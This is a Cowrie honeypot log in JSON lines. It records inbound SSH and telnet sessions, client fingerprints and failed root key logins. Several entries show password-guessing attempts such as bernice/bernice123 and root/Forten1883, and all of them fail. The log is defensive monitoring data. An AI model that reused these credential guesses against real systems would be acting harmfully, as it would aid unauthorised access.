{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:7c:49:6d:a5:5d:f0:77:b1:dd:ff:e5:79:ad:e3:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/HSZADH3I4cpZWevn+qEK5bIgmbRQkcEuRSpwSrm+nOOLLvylrfzzX5rgfLNU04rMxqZm7NPp9AnIYC8Ot+V2XY5CfZiijBEUsC5H3zGTIzhNjiOLiG0FKeKeteJ+52aDM4dPios+jOgLZR+KfIB7cEXxZF+Z1hQdTWrxiI+j6K2CM6B95Xod7/YsvUwyZtDImtrnc//LWeM+3XmHDKk1o5Jmd45kRPxHbK423bbXfvsRVL3LSoqoUg/HcLZPoEeoYdKfHCyhPZav0rWfn/WHMd9sTpYprTxXBab/dKMqe+HOjkLrxXm8w/qPrV+IPK89LwTO/24PPPUGp9IQBIIx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:03.083967Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:26:33:c5:e1:83:ba:49:f0:f2:74:ed:c9:4d:19:2f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEcHRNXLL9wAuikp67Zz7CIzP/X/QO4Ld3zoNrgEnUO6","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bf:26:33:c5:e1:83:ba:49:f0:f2:74:ed:c9:4d:19:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:03.221434Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:26:33:c5:e1:83:ba:49:f0:f2:74:ed:c9:4d:19:2f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEcHRNXLL9wAuikp67Zz7CIzP/X/QO4Ld3zoNrgEnUO6","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:03.226981Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:15:df:29:b1:a5:b5:64:7a:a5:ef:41:4b:c2:a4:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD/Xzq7Q9fivf5HJGabPBhsPKUgDIVU5bvRKvQAK0IgQgHuZ0CgtUiKptphIfuKUquerJM6uowbVMnoCT6YgKu/xg5jsyYOgE6LLLwxfLLVtfQKNDB7oiEHmwWzlZJ1Uhk/Kt0JVyt/FGAu3lASU763IV90uYbX4pLBUAP3NsYcb6cbj7rL2DNuEh7rTC/m14HQGQFWTofx0he3jDuQh1Dcek2VvP6QkkA+OeV71WuzqqYPuO+An2nHAlT8kcNnpSigRRSwGszCvrQ3z0ytJ+QbxzY0R1eMNzYWOSrCYfKR2d9Yw8H1/BxntmFNLqQpLa4KR68mnOW7b3Rsxpmjra0z0y/iBwfOhCgZpb2gcj8Yix6iGy8oOhQkhfbzp0zK20ovObfnF3HqTf9fYKZ64PuNRQZcle5eKEszDcYD/HXv6JBHOpH2wsYlGS/8GgBNhhV+kii0gWgJZ+cruGHC3D1EAqh/xcuQDuhBv6+OFnYUMl28u3uP5YDd1F+u8wne20=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:15:df:29:b1:a5:b5:64:7a:a5:ef:41:4b:c2:a4:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:03.356038Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:15:df:29:b1:a5:b5:64:7a:a5:ef:41:4b:c2:a4:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD/Xzq7Q9fivf5HJGabPBhsPKUgDIVU5bvRKvQAK0IgQgHuZ0CgtUiKptphIfuKUquerJM6uowbVMnoCT6YgKu/xg5jsyYOgE6LLLwxfLLVtfQKNDB7oiEHmwWzlZJ1Uhk/Kt0JVyt/FGAu3lASU763IV90uYbX4pLBUAP3NsYcb6cbj7rL2DNuEh7rTC/m14HQGQFWTofx0he3jDuQh1Dcek2VvP6QkkA+OeV71WuzqqYPuO+An2nHAlT8kcNnpSigRRSwGszCvrQ3z0ytJ+QbxzY0R1eMNzYWOSrCYfKR2d9Yw8H1/BxntmFNLqQpLa4KR68mnOW7b3Rsxpmjra0z0y/iBwfOhCgZpb2gcj8Yix6iGy8oOhQkhfbzp0zK20ovObfnF3HqTf9fYKZ64PuNRQZcle5eKEszDcYD/HXv6JBHOpH2wsYlGS/8GgBNhhV+kii0gWgJZ+cruGHC3D1EAqh/xcuQDuhBv6+OFnYUMl28u3uP5YDd1F+u8wne20=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:03.363967Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:1a:0a:8b:25:cd:99:90:2c:1f:4d:cd:20:63:36:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjZ0Prb89RU9Sv0GkA2cE4/Z/foTXskHg1l0opKqlGSGMKXFSljO7teVSv/WsleucDgbE0G1nzhsjpd110hgqL6MoB7U03Jf88WVRarulZC3smnl2AFI9pRAflGW7niurvEY0satCafMM5UKe0tnn/bfwIqNU1lNJZft/jKEY0W6qHLex6IEidZ/lyFqibm6rmb8Q/4QDzH2n+zdXxT/vPCi1AI3Sy8wMTTa+U2JaVckpNHSINPLAXCM579hM1Hk85ibT6sInWl3Dr8XqIBD86htC929UAwN/8cCOJ5fLT+zExVgTUbVf8TwpmjoNrVA6q4DAxtUocp7g2ENPjXBtX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:1a:0a:8b:25:cd:99:90:2c:1f:4d:cd:20:63:36:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:03.494122Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:1a:0a:8b:25:cd:99:90:2c:1f:4d:cd:20:63:36:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjZ0Prb89RU9Sv0GkA2cE4/Z/foTXskHg1l0opKqlGSGMKXFSljO7teVSv/WsleucDgbE0G1nzhsjpd110hgqL6MoB7U03Jf88WVRarulZC3smnl2AFI9pRAflGW7niurvEY0satCafMM5UKe0tnn/bfwIqNU1lNJZft/jKEY0W6qHLex6IEidZ/lyFqibm6rmb8Q/4QDzH2n+zdXxT/vPCi1AI3Sy8wMTTa+U2JaVckpNHSINPLAXCM579hM1Hk85ibT6sInWl3Dr8XqIBD86htC929UAwN/8cCOJ5fLT+zExVgTUbVf8TwpmjoNrVA6q4DAxtUocp7g2ENPjXBtX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:03.499235Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:03.628497Z","src_ip":"102.129.186.87","session":"1abdfee1fbed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36766,"dst_ip":"159.203.135.109","dst_port":23,"session":"357f2468b01f","protocol":"telnet","message":"New connection: 135.148.14.151:36766 (159.203.135.109:23) [session: 357f2468b01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:28.630222Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":24329,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bf77d920ee1","protocol":"ssh","message":"New connection: 213.209.159.56:24329 (159.203.135.109:22) [session: 0bf77d920ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:30.563982Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.47.120.25","src_port":47494,"dst_ip":"159.203.135.109","dst_port":23,"session":"923da69a7a08","protocol":"telnet","message":"New connection: 58.47.120.25:47494 (159.203.135.109:23) [session: 923da69a7a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:41.412809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:42.923423Z","src_ip":"213.209.159.56","session":"0bf77d920ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:43.002491Z","src_ip":"213.209.159.56","session":"0bf77d920ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernice","password":"bernice","message":"login attempt [bernice/bernice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:43.424302Z","src_ip":"213.209.159.56","session":"0bf77d920ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernice","password":"bernice1","message":"login attempt [bernice/bernice1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:44.510354Z","src_ip":"213.209.159.56","session":"0bf77d920ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernice","password":"bernice123","message":"login attempt [bernice/bernice123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:45.596896Z","src_ip":"213.209.159.56","session":"0bf77d920ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernice","password":"bernice1234","message":"login attempt [bernice/bernice1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:46.682611Z","src_ip":"213.209.159.56","session":"0bf77d920ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernice","password":"bernice12345","message":"login attempt [bernice/bernice12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:47.768197Z","src_ip":"213.209.159.56","session":"0bf77d920ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:48.853084Z","src_ip":"213.209.159.56","session":"0bf77d920ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.488837480545044,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:54.901509Z","src_ip":"58.47.120.25","session":"923da69a7a08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":48736,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc439b083490","protocol":"ssh","message":"New connection: 80.66.85.226:48736 (159.203.135.109:22) [session: fc439b083490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:56.196416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:56.201673Z","src_ip":"80.66.85.226","session":"fc439b083490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:56.294189Z","src_ip":"80.66.85.226","session":"fc439b083490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:56.560141Z","src_ip":"80.66.85.226","session":"fc439b083490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":47614,"dst_ip":"159.203.135.109","dst_port":22,"session":"87d60d21969c","protocol":"ssh","message":"New connection: 103.27.238.114:47614 (159.203.135.109:22) [session: 87d60d21969c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:56.813296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:56.818443Z","src_ip":"103.27.238.114","session":"87d60d21969c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:57.100367Z","src_ip":"103.27.238.114","session":"87d60d21969c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:57.650654Z","src_ip":"80.66.85.226","session":"fc439b083490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120589","message":"login attempt [root/120589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:57.946312Z","src_ip":"103.27.238.114","session":"87d60d21969c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":38514,"dst_ip":"10.17.0.5","dst_port":22,"session":"ade46edb2fd4","protocol":"ssh","message":"New connection: 37.233.85.71:38514 (10.17.0.5:22) [session: ade46edb2fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:58.256549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:58.261358Z","src_ip":"37.233.85.71","session":"ade46edb2fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:58.366023Z","src_ip":"37.233.85.71","session":"ade46edb2fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030q","message":"login attempt [root/102030q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:58.680578Z","src_ip":"37.233.85.71","session":"ade46edb2fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:59.231987Z","src_ip":"103.27.238.114","session":"87d60d21969c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:52:59.788334Z","src_ip":"37.233.85.71","session":"ade46edb2fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.94845795631409,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:53:06.578549Z","src_ip":"135.148.14.151","session":"357f2468b01f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57238,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfc3b4537d89","protocol":"telnet","message":"New connection: 135.148.14.151:57238 (159.203.135.109:23) [session: bfc3b4537d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:53:14.181607Z"}
{"eventid":"cowrie.session.closed","duration":35.389472246170044,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:53:49.570941Z","src_ip":"135.148.14.151","session":"bfc3b4537d89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00304245948792,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:53:51.292394Z","src_ip":"81.84.21.115","session":"17ef805c2529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.84.21.115","src_port":43696,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfc8c6bc129e","protocol":"telnet","message":"New connection: 81.84.21.115:43696 (10.17.0.5:23) [session: dfc8c6bc129e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:53:51.600305Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":46006,"dst_ip":"159.203.135.109","dst_port":22,"session":"a75924caca1b","protocol":"ssh","message":"New connection: 103.149.28.157:46006 (159.203.135.109:22) [session: a75924caca1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:53:57.448217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:53:57.453224Z","src_ip":"103.149.28.157","session":"a75924caca1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:53:57.707828Z","src_ip":"103.149.28.157","session":"a75924caca1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135790a","message":"login attempt [root/135790a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:53:58.465540Z","src_ip":"103.149.28.157","session":"a75924caca1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:53:59.720953Z","src_ip":"103.149.28.157","session":"a75924caca1b","protocol":"ssh"}
